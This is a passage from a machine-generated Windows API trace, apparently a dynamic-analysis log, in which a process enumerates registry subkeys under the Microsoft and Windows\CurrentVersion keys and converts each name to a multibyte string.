dwIndex=0x74, lpName=0x9db930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0206.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x9db930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x9dc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0206.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x9db930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x9dc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0206.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x9db930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x9dc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0206.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x9db930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0206.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x9db930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x9dc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0206.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x9db930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0206.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x9db930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x9dc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0206.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x9db930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0206.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x9db930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x9dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0206.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x9db930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x9dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0206.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x9db930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x9dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0206.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x9db930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0206.083] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x3ef8f0 | out: phkResult=0x3ef8f0*=0xa0) returned 0x0 [0206.083] RegCloseKey (hKey=0x24) returned 0x0 [0206.084] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x9db930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0206.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x9dc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0206.084] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x3ef8f0 | out: phkResult=0x3ef8f0*=0x24) returned 0x0 [0206.084] RegCloseKey (hKey=0xa0) returned 0x0 [0206.084] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x9db930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0206.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x9dc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0206.084] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x9db930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0206.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x9dc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0206.084] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x9db930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0206.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0206.084] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x9db930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0206.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x9dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0206.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x9db930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x9dc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0206.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x9db930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x9dc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0206.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x9db930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x9dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0206.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x9db930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x9dc0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0206.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x9db930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x9dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0206.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x9db930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x9dc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0206.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x9db930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x9dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0206.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x9db930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x9dc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0206.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x9db930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x9dc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0206.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x9db930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x9dc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0206.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x9db930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x9dc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0206.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x9db930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x9dc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0206.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x9db930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x9dc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0206.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x9db930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x9dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0206.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x9db930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0206.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x9db930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x9dc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0206.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x9db930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0206.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x9db930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x9dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0206.088] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x9db930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0206.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0206.090] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x9db930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0206.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x9dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0206.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x9db930, cchName=0x104 | out: lpName="IME") returned 0x0 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", 